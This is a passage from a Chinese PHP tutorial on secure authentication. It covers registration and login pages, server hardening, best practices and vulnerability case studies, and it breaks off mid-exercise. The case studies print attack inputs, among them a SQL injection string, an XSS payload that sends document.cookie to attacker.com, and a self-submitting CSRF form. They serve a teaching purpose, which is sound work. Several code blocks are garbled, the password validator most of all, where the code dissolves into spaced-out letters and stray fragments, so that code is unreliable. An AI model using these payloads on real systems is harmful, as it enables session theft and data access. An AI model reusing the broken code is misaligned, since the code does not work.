            <div class="message <?php echo $success ? 'success' : 'error'; ?>">
                <?php echo htmlspecialchars($message); ?>
            </div>
        <?php endif; ?>
        
        <form method="POST" id="registerForm">
            <input type="hidden" name="csrf_token" value="<?php echo htmlspecialchars($csrfToken); ?>">
            
            <div class="form-group">
                <label for="username">用户名</label>
                <input type="text" id="username" name="username" required 
                       pattern="[a-zA-Z0-9_]{3,20}"
                       title="只能包含字母、数字和下划线,长度3-20位">
                <div class="requirements">
                    <div class="requirement invalid" id="req-username-length">3-20个字符</div>
                    <div class="requirement invalid" id="req-username-chars">仅字母、数字、下划线</div>
                </div>
            </div>
            
            <div class="form-group">
                <label for="email">邮箱地址</label>
                <input type="email" id="email" name="email" required>
                <div class="requirements">
                    <div class="requirement invalid" id="req-email-valid">有效的邮箱格式</div>
                </div>
            </div>
            
            <div class="form-group">
                <label for="full_name">姓名(可选)</label>
                <input type="text" id="full_name" name="full_name">
            </div>
            
            <div class="form-group">
                <label for="password">密码</label>
                <input type="password" id="password" name="password" required>
                <div class="password-strength">
                    <div class="strength-meter" id="passwordStrength"></div>
                </div>
                <div class="requirements">
                    <div class="requirement invalid" id="req-length">至少8个字符</div>
                    <div class="requirement invalid" id="req-uppercase">包含大写字母</div>
                    <div class="requirement invalid" id="req-lowercase">包含小写字母</div>
                    <div class="requirement invalid" id="req-number">包含数字</div>
                    <div class="requirement invalid" id="req-special">包含特殊字符</div>
                </div>
            </div>
            
            <div class="form-group">
                <label for="confirm_password">确认密码</label>
                <input type="password" id="confirm_password" name="confirm_password" required>
                <div class="requirements">
                    <div class="requirement invalid" id="req-match">密码匹配</div>
                </div>
            </div>
            
            <button type="submit" class="btn">注册</button>
        </form>
        
        <div class="login-link">
            已有账号?<a href="login.php">立即登录</a>
        </div>
    </div>
    
    <script>
        // 密码强度实时检查
const passwordInput = document.getElementById('password');
        const confirmInput = document.getElementById('confirm_password');
        const strengthMeter = document.getElementById('passwordStrength');
        const requirements = {
            length: document.getElementById('req-length'),
            uppercase: document.getElementById('req-uppercase'),
            lowercase: document.getElementById('req-lowercase'),
            number: document.getElementById('req-number'),
            special: document.getElementById('req-special'),
            match: document.getElementById('req-match'),
            usernameLength: document.getElementById('req-username-length'),
            usernameChars: document.getElementById('req-username-chars'),
            emailValid: document.getElementById('req-email-valid')
        };
        
        function checkPasswordStrength(password) {
            let strength = 0;
            
            // 长度检查
if (password.length >= 8) {
                strength += 20;
                requirements.length.classList.add('valid');
                requirements.length.classList.remove('invalid');
            } else {
                requirements.length.classList.remove('valid');
                requirements.length.classList.add('invalid');
            }
            
            // 大写字母检查
if (/[A-Z]/.test(password)) {
                strength += 20;
                requirements.uppercase.classList.add('valid');
                requirements.uppercase.classList.remove('invalid');
            } else {
                requirements.uppercase.classList.remove('valid');
                requirements.uppercase.classList.add('invalid');
            }
            
            // 小写字母检查
if (/[a-z]/.test(password)) {
                strength += 20;
                requirements.lowercase.classList.add('valid');
                requirements.lowercase.classList.remove('invalid');
            } else {
                requirements.lowercase.classList.remove('valid');
                requirements.lowercase.classList.add('invalid');
            }
            
            // 数字检查
if (/[0-9]/.test(password)) {
                strength += 20;
                requirements.number.classList.add('valid');
                requirements.number.classList.remove('invalid');
            } else {
                requirements.number.classList.remove('valid');
                requirements.number.classList.add('invalid');
            }
            
            // 特殊字符检查
if (/[^A-Za-z0-9]/.test(password)) {
                strength += 20;
                requirements.special.classList.add('valid');
                requirements.special.classList.remove('invalid');
            } else {
                requirements.special.classList.remove('valid');
                requirements.special.classList.add('invalid');
            }
            
            // 更新强度条
strengthMeter.className = 'strength-meter';
            if (strength >= 80) {
                strengthMeter.classList.add('strength-strong');
            } else if (strength >= 60) {
                strengthMeter.classList.add('strength-medium');
            } else if (strength > 0) {
                strengthMeter.classList.add('strength-weak');
            }
            
            return strength;
        }
        
        function checkPasswordMatch() {
            const password = passwordInput.value;
            const confirm = confirmInput.value;
            
            if (password && confirm) {
                if (password === confirm) {
                    requirements.match.classList.add('valid');
                    requirements.match.classList.remove('invalid');
                    return true;
                } else {
                    requirements.match.classList.remove('valid');
                    requirements.match.classList.add('invalid');
                    return false;
                }
            }
            return false;
        }
        
        function checkUsername() {
            const username = document.getElementById('username').value;
            
            // 长度检查
if (username.length >= 3 && username.length <= 20) {
                requirements.usernameLength.classList.add('valid');
                requirements.usernameLength.classList.remove('invalid');
            } else {
                requirements.usernameLength.classList.remove('valid');
                requirements.usernameLength.classList.add('invalid');
            }
            
            // 字符检查
if (/^[a-zA-Z0-9_]+$/.test(username)) {
                requirements.usernameChars.classList.add('valid');
                requirements.usernameChars.classList.remove('invalid');
            } else {
                requirements.usernameChars.classList.remove('valid');
                requirements.usernameChars.classList.add('invalid');
            }
        }
        
        function checkEmail() {
            const email = document.getElementById('email').value;
            const emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
            
            if (emailRegex.test(email)) {
                requirements.emailValid.classList.add('valid');
                requirements.emailValid.classList.remove('invalid');
                return true;
            } else {
                requirements.emailValid.classList.remove('valid');
                requirements.emailValid.classList.add('invalid');
                return false;
            }
        }
        
        // 事件监听
passwordInput.addEventListener('input', function() {
            checkPasswordStrength(this.value);
            checkPasswordMatch();
        });
        
        confirmInput.addEventListener('input', checkPasswordMatch);
        document.getElementById('username').addEventListener('input', checkUsername);
        document.getElementById('email').addEventListener('input', checkEmail);
        
        // 表单提交前验证
document.getElementById('registerForm').addEventListener('submit', function(e) {
            const password = passwordInput.value;
            const strength = checkPasswordStrength(password);
            const isMatch = checkPasswordMatch();
            const isUsernameValid = document.getElementById('req-username-length').classList.contains('valid') &&
                                  document.getElementById('req-username-chars').classList.contains('valid');
            const isEmailValid = checkEmail();
            
            if (strength < 60) {
                e.preventDefault();
                alert('密码强度不足,请按照要求设置密码');
                return false;
            }
            
            if (!isMatch) {
                e.preventDefault();
                alert('两次输入的密码不一致');
                return false;
            }
            
            if (!isUsernameValid) {
                e.preventDefault();
                alert('用户名不符合要求');
                return false;
            }
            
            if (!isEmailValid) {
                e.preventDefault();
                alert('请输入有效的邮箱地址');
                return false;
            }
        });
        
        // 初始检查
checkUsername();
        checkEmail();
    </script>
</body>
</html>
步骤5:登录页面实现
php 复制代码
<?php
// File: login.php

require_once 'includes/Security/CoreSecurity.php';
require_once 'includes/Security/AuthManager.php';

// 初始化
session_start();
$db = new PDO('mysql:host=localhost;dbname=secure_auth;charset=utf8mb4', 'root', '');
$security = new CoreSecurity($db);
$auth = new AuthManager($db, $security);

// 设置安全头
$security->setSecurityHeaders();

// 如果已登录,重定向到首页
if (isset($_COOKIE['session_token'])) {
    $sessionValid = $auth->validateSession($_COOKIE['session_token']);
    if ($sessionValid) {
        header('Location: dashboard.php');
        exit;
    }
}

// 处理登录请求
$message = '';
$success = false;

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // 验证CSRF令牌
if (!$security->validateCsrfToken($_POST['csrf_token'] ?? '', 'login')) {
        $message = '安全令牌验证失败,请刷新页面重试';
    } else {
        // 获取并清理输入
$username = $security->sanitizeInput($_POST['username'] ?? '', 'html');
        $password = $_POST['password'] ?? '';
        $rememberMe = isset($_POST['remember_me']);
        
        // 执行登录
$result = $auth->login($username, $password, $rememberMe);
        
        if ($result['success']) {
            if ($result['requires_2fa']) {
                // 需要双因素认证,跳转到2FA页面
$_SESSION['temp_user'] = $result['user'];
                $_SESSION['temp_session'] = $result['session'];
                header('Location: twofactor.php');
                exit;
            } else {
                // 登录成功,跳转到仪表板
header('Location: dashboard.php');
                exit;
            }
        } else {
            $message = $result['message'];
        }
    }
}

// 生成CSRF令牌
$csrfToken = $security->generateCsrfToken('login');
?>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>用户登录 - 安全认证系统</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            margin: 0;
            padding: 20px;
            min-height: 100vh;
            display: flex;
            align-items: center;
            justify-content: center;
        }
        .container {
            width: 100%;
            max-width: 400px;
        }
        .login-card {
            background: white;
            padding: 40px;
            border-radius: 10px;
            box-shadow: 0 15px 35px rgba(0,0,0,0.2);
        }
        h1 {
            text-align: center;
            color: #333;
            margin-bottom: 30px;
            font-size: 28px;
        }
        .form-group {
            margin-bottom: 25px;
            position: relative;
        }
        label {
            display: block;
            margin-bottom: 8px;
            color: #555;
            font-weight: 600;
        }
        input[type="text"],
        input[type="password"] {
            width: 100%;
            padding: 12px 15px;
            border: 2px solid #e0e0e0;
            border-radius: 6px;
            box-sizing: border-box;
            font-size: 16px;
            transition: border-color 0.3s;
        }
        input:focus {
            outline: none;
            border-color: #667eea;
        }
        .remember-me {
            display: flex;
            align-items: center;
            margin-bottom: 25px;
        }
        .remember-me input {
            margin-right: 10px;
        }
        .remember-me label {
            margin-bottom: 0;
            cursor: pointer;
        }
        .btn {
            width: 100%;
            padding: 14px;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            color: white;
            border: none;
            border-radius: 6px;
            cursor: pointer;
            font-size: 16px;
            font-weight: 600;
            transition: transform 0.3s, box-shadow 0.3s;
        }
        .btn:hover {
            transform: translateY(-2px);
            box-shadow: 0 5px 15px rgba(102, 126, 234, 0.4);
        }
        .btn:active {
            transform: translateY(0);
        }
        .message {
            padding: 15px;
            border-radius: 6px;
            margin-bottom: 25px;
            text-align: center;
            animation: slideDown 0.3s ease;
        }
        @keyframes slideDown {
            from {
                opacity: 0;
                transform: translateY(-20px);
            }
            to {
                opacity: 1;
                transform: translateY(0);
            }
        }
        .message.success {
            background-color: #d4edda;
            color: #155724;
            border: 1px solid #c3e6cb;
        }
        .message.error {
            background-color: #f8d7da;
            color: #721c24;
            border: 1px solid #f5c6cb;
        }
        .message.warning {
            background-color: #fff3cd;
            color: #856404;
            border: 1px solid #ffeaa7;
        }
        .links {
            display: flex;
            justify-content: space-between;
            margin-top: 25px;
            padding-top: 25px;
            border-top: 1px solid #eee;
        }
        .links a {
            color: #667eea;
            text-decoration: none;
            font-size: 14px;
        }
        .links a:hover {
            text-decoration: underline;
        }
        .security-tips {
            background: #f8f9fa;
            padding: 15px;
            border-radius: 6px;
            margin-top: 25px;
            font-size: 13px;
            color: #666;
        }
        .security-tips h3 {
            margin-top: 0;
            color: #333;
            font-size: 14px;
        }
        .security-tips ul {
            margin: 10px 0;
            padding-left: 20px;
        }
        .security-tips li {
            margin-bottom: 5px;
        }
        .attempts-warning {
            background: #fff3cd;
            padding: 10px;
            border-radius: 6px;
            margin-bottom: 20px;
            font-size: 14px;
            color: #856404;
            text-align: center;
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="login-card">
            <h1>用户登录</h1>
            
            <?php 
            // 显示登录尝试警告
if (isset($_POST['username'])) {
                $username = $security->sanitizeInput($_POST['username'], 'html');
                if ($security->checkBruteForce($username)) {
                    echo '<div class="attempts-warning">⚠️ 检测到多次登录失败,账户已被临时锁定</div>';
                }
            }
            
            if ($message): ?>
                <div class="message <?php echo $success ? 'success' : 'error'; ?>">
                    <?php echo htmlspecialchars($message); ?>
                </div>
            <?php endif; ?>
            
            <form method="POST" id="loginForm">
                <input type="hidden" name="csrf_token" value="<?php echo htmlspecialchars($csrfToken); ?>">
                
                <div class="form-group">
                    <label for="username">用户名或邮箱</label>
                    <input type="text" id="username" name="username" required 
                           value="<?php echo isset($_POST['username']) ? htmlspecialchars($_POST['username']) : ''; ?>">
                </div>
                
                <div class="form-group">
                    <label for="password">密码</label>
                    <input type="password" id="password" name="password" required>
                </div>
                
                <div class="remember-me">
                    <input type="checkbox" id="remember_me" name="remember_me" value="1">
                    <label for="remember_me">记住登录状态</label>
                </div>
                
                <button type="submit" class="btn">登录</button>
            </form>
            
            <div class="links">
                <a href="register.php">注册新账号</a>
                <a href="forgot_password.php">忘记密码?</a>
            </div>
            
            <div class="security-tips">
                <h3>💡 安全提示:</h3>
                <ul>
                    <li>不要在公共计算机上选择"记住登录状态"</li>
                    <li>定期更换密码,确保密码强度</li>
                    <li>检查网址是否为HTTPS开头</li>
                    <li>不要在不明网站上使用相同密码</li>
                </ul>
            </div>
        </div>
    </div>
    
    <script>
        // 防止表单重复提交
let formSubmitted = false;
        document.getElementById('loginForm').addEventListener('submit', function(e) {
            if (formSubmitted) {
                e.preventDefault();
                return false;
            }
            formSubmitted = true;
            
            // 禁用提交按钮
const submitBtn = this.querySelector('button[type="submit"]');
            submitBtn.disabled = true;
            submitBtn.textContent = '登录中...';
            
            return true;
        });
        
        // 回车键提交
document.addEventListener('keydown', function(e) {
            if (e.key === 'Enter' && !e.target.matches('textarea, input[type="text"]')) {
                const activeElement = document.activeElement;
                if (activeElement.matches('input[type="text"], input[type="password"]')) {
                    document.getElementById('loginForm').submit();
                }
            }
        });
        
        // 自动聚焦到用户名输入框
document.getElementById('username').focus();
    </script>
</body>
</html>

项目测试和部署指南

测试步骤
  1. 单元测试
php 复制代码
   // tests/SecurityTest.php
   class SecurityTest extends PHPUnit\Framework\TestCase {
       public function testPasswordHash() {
           $password = 'Test123!';
           $hash = password_hash($password, PASSWORD_DEFAULT);
           $this->assertTrue(password_verify($password, $hash));
       }
       
       public function testCSRFTokenValidation() {
           $security = new CoreSecurity(new PDO('sqlite::memory:'));
           $token = $security->generateCsrfToken('test');
           $this->assertTrue($security->validateCsrfToken($token, 'test'));
           $this->assertFalse($security->validateCsrfToken('invalid', 'test'));
       }
   }
  1. 安全测试
  • 使用OWASP ZAP进行漏洞扫描
  • 测试SQL注入防护
  • 测试XSS防护
  • 测试CSRF防护
  • 测试暴力破解防护
  1. 功能测试
  • 用户注册流程
  • 登录流程(正常和失败情况)
  • 密码重置流程
  • 会话管理测试
  • 并发访问测试
部署指南
  1. 服务器配置
apache 复制代码
   # .htaccess 安全配置
# 强制HTTPS
   RewriteEngine On
   RewriteCond %{HTTPS} off
   RewriteRule ^(.*)$ https:// %{HTTP_HOST}%{REQUEST_URI} [L,R=301]
   
   # 安全头
Header always set Content-Security-Policy "default-src 'self'"
   Header always set X-Content-Type-Options "nosniff"
   Header always set X-Frame-Options "DENY"
   Header always set X-XSS-Protection "1; mode=block"
   
   # 防止目录浏览
Options -Indexes
   
   # 保护敏感文件
<FilesMatch "\.(htaccess|htpasswd|ini|log|sh|sql)$">
       Order Allow,Deny
       Deny from all
   </FilesMatch>
  1. PHP配置
ini 复制代码
   ; php.ini 安全配置
expose_php = Off
   display_errors = Off
   log_errors = On
   error_log = /var/log/php_errors.log
   
   session.cookie_secure = 1
   session.cookie_httponly = 1
   session.cookie_samesite = Strict
   session.use_strict_mode = 1
   session.use_only_cookies = 1
   session.gc_maxlifetime = 1800
   
   allow_url_fopen = Off
   allow_url_include = Off
  1. 数据库配置
sql 复制代码
   -- 创建专用数据库用户
CREATE USER 'secure_auth_user'@'localhost' IDENTIFIED BY '强密码';
   GRANT SELECT, INSERT, UPDATE, DELETE ON secure_auth.* TO 'secure_auth_user'@'localhost';
   FLUSH PRIVILEGES;

项目扩展和优化建议

扩展功能
  1. 双因素认证(2FA)

    php 复制代码
    class TwoFactorAuth {
        public function generateSecret() {
            return random_bytes(20); // 生成20字节的密钥

}

复制代码
   public function getQRCodeUrl($secret, $username, $issuer) {
       // 生成Google Authenticator兼容的OTP URL
   }
   
   public function verifyCode($secret, $code) {
       // 验证TOTP代码

}

}

复制代码
2. **登录审计功能**
```php
class LoginAudit {
    public function logLoginAttempt($userId, $success, $metadata) {
        // 记录详细的登录信息
}
    
    public function getSuspiciousActivities($userId) {
        // 检测可疑登录行为
}
}
  1. 密码策略管理

    php 复制代码
    class PasswordPolicy {
        private $rules = [
            'min_length' => 12,
            'require_mixed_case' => true,
            'require_numbers' => true,
            'require_special_chars' => true,
            'prevent_reuse' => true,
            'max_age_days' => 90
        ];
        
        public function enforcePolicy($userId, $newPassword) {
            // 执行密码策略

}

}

复制代码
#### 性能优化
1. **会话存储优化**:使用Redis存储Session
2. **数据库优化**:添加适当的索引,使用查询缓存
3. **缓存策略**:对频繁访问的数据进行缓存
4. **CDN集成**:静态资源使用CDN加速
#### 安全优化
1. **Web应用防火墙(WAF)**:集成ModSecurity
2. **DDoS防护**:实施速率限制
3. **安全监控**:集成SIEM系统
4. **定期安全审计**:定期进行代码安全审查
## 最佳实践
### 1. 会话安全最佳实践
#### 会话配置
```php
// 安全的Session配置
ini_set('session.cookie_secure', 1);      // 仅HTTPS
ini_set('session.cookie_httponly', 1);    // 防止JS访问
ini_set('session.cookie_samesite', 'Strict'); // 防止CSRF
ini_set('session.use_strict_mode', 1);    // 只接受服务器生成的Session ID
ini_set('session.use_only_cookies', 1);   // 只使用Cookie传递Session ID
ini_set('session.gc_maxlifetime', 1800);  // 30分钟过期
ini_set('session.gc_probability', 1);     // 垃圾回收概率
ini_set('session.gc_divisor', 100);       // 每100个请求回收一次
会话管理
  1. 会话固定防护:登录成功后重新生成Session ID

    php 复制代码
    session_regenerate_id(true);
  2. 会话劫持检测:验证IP和User-Agent

    php 复制代码
    if ($_SESSION['ip_address'] !== $_SERVER['REMOTE_ADDR'] ||
        $_SESSION['user_agent'] !== $_SERVER['HTTP_USER_AGENT']) {
        // 可疑活动,销毁会话

session_destroy();

header('Location: login.php?reason=hijack');

exit;

}

复制代码
3. **会话过期处理**:实现滑动过期和绝对过期
```php
// 滑动过期:每次活动延长过期时间
$_SESSION['last_activity'] = time();

// 绝对过期:无论是否活动,固定时间后过期
if (isset($_SESSION['created']) && (time() - $_SESSION['created']) > 3600) {
    session_destroy();
    header('Location: login.php?reason=timeout');
    exit;
}

2. 密码安全最佳实践

存储策略
  1. 使用Argon2id算法(PHP 7.2+)
php 复制代码
   $hash = password_hash($password, PASSWORD_ARGON2ID, [
       'memory_cost' => 65536,   // 64MB
       'time_cost' => 4,         // 迭代次数
'threads' => 3            // 线程数
]);
  1. 密码策略实施

    php 复制代码
    class PasswordValidator {
        public static function validate($password) {
            $errors = [];
            
            // 长度检查

if (strlen($password) < 12) {

$errors[] = '密码至少12个字符';

}

复制代码
       // 复杂性检查

if (!preg_match('/[a-z]/', $password)) {

$errors[] = '需要小写字母';

}

if (!preg_match('/[A-Z]/', $password)) {

$errors[] = '需要大写字母';

}

if (!preg_match('/[0-9]/', $password)) {

$errors[] = '需要数字';

}

if (!preg_match('/[^A-Za-z0-9]/', $password)) {

$errors[] = '需要特殊字符';

}

复制代码
       // 常见密码检查

c o m m o n = f i l e ( ′ c o m m o n − p a s s w o r d s . t x t ′ , F I L E I G N O R E N E W L I N E S ) ; i f ( i n a r r a y ( common = file('common-passwords.txt', FILE_IGNORE_NEW_LINES); if (in_array( common=file(′common−passwords.txt′,FILEIGNORENEWLINES);if(inarray(password, $common)) {

$errors[] = '密码过于常见';

}

复制代码
       // 模式检查

if (preg_match('/(.)\1{2,}/', $password)) {

$errors[] = '不能有重复字符';

}

复制代码
       // 序列检查(如123, abc)

if (preg_match('/(?:abc|bcd|cde|def|efg|fgh|ghi|hij|ijk|jkl|klm|lmn|mno|nop|opq|pqr|qrs|rst|stu|tuv|uvw|vwx|wxy|xyz)/i', $password) ||

preg_match('/(?:012|123|234|345|456|567|678|789|890)/', $password)) {

$errors[] = '不能包含连续字符或数字';

}

复制代码
       return $errors;
   }

}

复制代码
3. **密码历史记录**:防止密码重用
```sql
CREATE TABLE password_history (
    id INT PRIMARY KEY AUTO_INCREMENT,
    user_id INT NOT NULL,
    password_hash VARCHAR(255) NOT NULL,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE
);

3. Web安全防护综合方案

输入验证和过滤
php 复制代码
class InputValidator {
    // 白名单验证
public static function validateEmail($email) {
        return filter_var($email, FILTER_VALIDATE_EMAIL) !== false;
    }
    
    public static function validateUrl($url) {
        return filter_var($url, FILTER_VALIDATE_URL) !== false;
    }
    
    public static function validateInteger($value, $min = null, $max = null) {
        $options = [];
        if ($min !== null) $options['min_range'] = $min;
        if ($max !== null) $options['max_range'] = $max;
        
        return filter_var($value, FILTER_VALIDATE_INT, ['options' => $options]) !== false;
    }
    
    // 黑名单过滤
public static function removeMaliciousCode($input) {
        $patterns = [
            // 移除脚本标签
'/<script\b[^>]*>(.*?)<\/script>/is',
            // 移除危险的HTML属性
'/\bon\w+\s*=/i',
            // 移除JavaScript伪协议
'/javascript:/i',
            // 移除VBScript伪协议
'/vbscript:/i',
            // 移除数据URI
            '/data:/i',
        ];
        
        return preg_replace($patterns, '', $input);
    }
    
    // 上下文相关的输出编码
public static function encodeForContext($input, $context) {
        switch ($context) {
            case 'html':
                return htmlspecialchars($input, ENT_QUOTES | ENT_HTML5, 'UTF-8');
                
            case 'html_attribute':
                return htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
                
            case 'javascript':
                return json_encode($input, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT);
                
            case 'css':
                // CSS编码
$input = preg_replace('/[<>]/', '', $input);
                return preg_replace_callback('/[^a-zA-Z0-9]/', function($matches) {
                    return '\\' . bin2hex($matches[0]);
                }, $input);
                
            case 'url':
                return urlencode($input);
                
            default:
                return htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
        }
    }
}
安全头配置
php 复制代码
class SecurityHeaders {
    public static function setAll() {
        // CSP - 内容安全策略
self::setCSP();
        
        // HSTS - HTTP严格传输安全
self::setHSTS();
        
        // 其他安全头
header('X-Content-Type-Options: nosniff');
        header('X-Frame-Options: DENY');
        header('X-XSS-Protection: 1; mode=block');
        header('Referrer-Policy: strict-origin-when-cross-origin');
        header('Permissions-Policy: geolocation=(), microphone=(), camera=()');
    }
    
    private static function setCSP() {
        $directives = [
            "default-src 'self'",
            "script-src 'self' 'unsafe-inline' https:// trusted.cdn.com",
            "style-src 'self' 'unsafe-inline'",
            "img-src 'self' data: https:",
            "font-src 'self'",
            "connect-src 'self'",
            "media-src 'self'",
            "object-src 'none'",
            "child-src 'self'",
            "frame-ancestors 'none'",
            "form-action 'self'",
            "base-uri 'self'",
            "manifest-src 'self'"
        ];
        
        header("Content-Security-Policy: " . implode('; ', $directives));
    }
    
    private static function setHSTS() {
        if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on') {
            header('Strict-Transport-Security: max-age=31536000; includeSubDomains; preload');
        }
    }
}

4. 常见安全漏洞案例与防护

案例1:SQL注入攻击

攻击代码

php 复制代码
// 漏洞代码
$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id = $id";
$result = mysqli_query($conn, $sql);

// 攻击者可以输入:1 OR 1=1
// 最终SQL:SELECT * FROM users WHERE id = 1 OR 1=1

防护方案

php 复制代码
// 使用预处理语句
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$id]);
$user = $stmt->fetch();

// 或者使用命名参数
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$stmt->execute([':id' => $id]);
$user = $stmt->fetch();
案例2:反射型XSS攻击

攻击代码

php 复制代码
// 漏洞代码
echo "搜索结果: " . $_GET['q'];

// 攻击者可以输入:<script>alert('XSS')</script>
// 或更危险的:<script>fetch('http://attacker.com/?cookie='+document.cookie)</script>

防护方案

php 复制代码
// 输出编码
$searchTerm = $_GET['q'] ?? '';
echo "搜索结果: " . htmlspecialchars($searchTerm, ENT_QUOTES, 'UTF-8');

// 或者使用上下文编码
function escapeOutput($input, $context = 'html') {
    switch ($context) {
        case 'html':
            return htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
        case 'attribute':
            return htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
        case 'javascript':
            return json_encode($input, JSON_HEX_TAG | JSON_HEX_AMP);
        default:
            return htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
    }
}
案例3:CSRF攻击

攻击场景

html 复制代码
<!-- 攻击者网站上的恶意表单 -->
<form action="https:// victim.com/transfer" method="POST" id="malicious">
    <input type="hidden" name="amount" value="10000">
    <input type="hidden" name="to_account" value="attacker">
</form>
<script>document.getElementById('malicious').submit();</script>

防护方案

php 复制代码
// 生成CSRF令牌
function generateCsrfToken() {
    if (empty($_SESSION['csrf_token'])) {
        $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
    }
    return $_SESSION['csrf_token'];
}

// 验证CSRF令牌
function validateCsrfToken($token) {
    return isset($_SESSION['csrf_token']) && 
           hash_equals($_SESSION['csrf_token'], $token);
}

// 在表单中使用
echo '<input type="hidden" name="csrf_token" value="' . generateCsrfToken() . '">';
案例4:会话固定攻击

攻击过程

  1. 攻击者获取一个有效的Session ID
  2. 诱使用户使用这个Session ID登录
  3. 用户登录后,攻击者也能访问用户会话
    防护方案
php 复制代码
// 登录成功后重新生成Session ID
session_regenerate_id(true);

// 销毁旧Session数据
$_SESSION = [];

// 设置新的Session数据
$_SESSION['user_id'] = $userId;
$_SESSION['ip_address'] = $_SERVER['REMOTE_ADDR'];
$_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
$_SESSION['created'] = time();
案例5:不安全的直接对象引用(IDOR)

漏洞代码

php 复制代码
// 用户可以直接修改URL参数访问其他用户数据
$userId = $_GET['user_id']; // 攻击者可以改成其他用户的ID
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$userId]);

防护方案

php 复制代码
// 检查权限
$currentUserId = $_SESSION['user_id'];
$requestedUserId = $_GET['user_id'];

if ($currentUserId != $requestedUserId && !isAdmin($currentUserId)) {
    // 没有权限访问其他用户数据
header('HTTP/1.0 403 Forbidden');
    exit('Access denied');
}

// 或者在查询中加入权限检查
$stmt = $pdo->prepare("
    SELECT * FROM users 
    WHERE id = ? 
    AND (id = ? OR ? IN (SELECT user_id FROM admins))
");
$stmt->execute([$requestedUserId, $currentUserId, $currentUserId]);

5. 安全开发流程建议

  1. 安全需求分析
  • 识别敏感数据和处理流程
  • 定义安全需求和合规要求
  • 制定数据分类和访问控制策略
  1. 安全设计
  • 采用最小权限原则
  • 实施深度防御策略
  • 设计安全的错误处理机制
  • 规划安全审计和日志记录
  1. 安全编码
  • 遵循安全编码规范
  • 使用安全的API和函数
  • 避免使用已弃用的函数
  • 定期进行代码安全审查
  1. 安全测试
  • 单元测试包含安全测试用例
  • 进行渗透测试和漏洞扫描
  • 模拟真实攻击场景测试
  • 定期进行安全审计
  1. 安全部署和运维
  • 实施安全配置管理
  • 定期更新和打补丁
  • 监控安全事件和异常
  • 制定应急响应计划

练习题与挑战

基础练习题

练习1:理解Session和Cookie的区别

题目

  1. 解释Session和Cookie在存储位置、安全性、数据大小限制方面的主要区别
  2. 在什么情况下应该使用Session?在什么情况下应该使用Cookie?
  3. 编写一个PHP脚本,演示如何同时使用Session和Cookie来记住用户的主题偏好
    难度等级 :★☆☆☆☆(基础)
    解题提示
  • Session数据存储在服务器端,Cookie存储在客户端
  • Session更适合存储敏感信息,Cookie适合存储非敏感的用户偏好
  • 考虑数据大小限制:Cookie每个4KB,Session受服务器内存限制
    参考答案
php 复制代码
<?php
session_start();

// 使用Session存储登录状态
if (!isset($_SESSION['theme'])) {
    $_SESSION['theme'] = 'light'; // 默认主题
}

// 使用Cookie记住用户偏好
if (isset($_POST['theme'])) {
    $theme = $_POST['theme'];
    $_SESSION['theme'] = $theme;
    setcookie('user_theme', $theme, time() + 86400 * 30, '/', '', true, true);
} elseif (isset($_COOKIE['user_theme'])) {
    $_SESSION['theme'] = $_COOKIE['user_theme'];
}

// 应用主题
$currentTheme = $_SESSION['theme'];
?>
<!DOCTYPE html>
<html>
<head>
    <style>
        .light { background: white; color: black; }
        .dark { background: #333; color: white; }
    </style>
</head>
<body class="<?php echo htmlspecialchars($currentTheme); ?>">
    <h1>当前主题: <?php echo htmlspecialchars($currentTheme); ?></h1>
    <form method="POST">
        <button name="theme" value="light">亮色主题</button>
        <button name="theme" value="dark">暗色主题</button>
    </form>
</body>
</html>
练习2:实现基本的XSS防护

题目

  1. 创建一个简单的评论系统,包含评论表单和显示功能
  2. 演示如果不进行防护,XSS攻击如何发生
  3. 使用htmlspecialchars()函数防护XSS攻击
  4. 扩展功能:允许一些安全的HTML标签(如<b>, <i>, <a>
    难度等级 :★★☆☆☆(基础)
    解题提示
  • 使用strip_tags()函数可以指定允许的HTML标签
  • 对于链接,需要验证URL是否安全
  • 考虑使用HTML净化库处理复杂情况
    参考答案
php 复制代码
<?php
session_start();

$comments = [];

// 处理评论提交
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['comment'])) {
    $comment = $_POST['comment'];
    $author = $_POST['author'] ?? '匿名';
    
    // 基础防护:转义所有HTML
    $safeComment = htmlspecialchars($comment, ENT_QUOTES, 'UTF-8');
    $safeAuthor = htmlspecialchars($author, ENT_QUOTES, 'UTF-8');
    
    // 高级防护:允许一些安全标签
$allowedTags = '<b><i><u><strong><em><code>';
    $filteredComment = strip_tags($comment, $allowedTags);
    
    // 进一步清理属性
$filteredComment = preg_replace('/on\w+\s*=/i', 'data-removed=', $filteredComment);
    
    $comments[] = [
        'author' => $safeAuthor,
        'comment' => $filteredComment,
        'timestamp' => date('Y-m-d H:i:s')
    ];
    
    // 保存评论(实际项目中应该保存到数据库)
$_SESSION['comments'] = $comments;
}

// 获取已保存的评论
$comments = $_SESSION['comments'] ?? [];
?>

<!DOCTYPE html>
<html>
<head>
    <title>评论系统</title>
    <style>
        .comment { border: 1px solid #ccc; margin: 10px 0; padding: 10px; }
        .danger { background: #ffcccc; }
    </style>
</head>
<body>
    <h1>评论系统</h1>
    
    <form method="POST">
        <div>
            <label>姓名:<input type="text" name="author"></label>
        </div>
        <div>
            <label>评论:<textarea name="comment" rows="4"></textarea></label>
        </div>
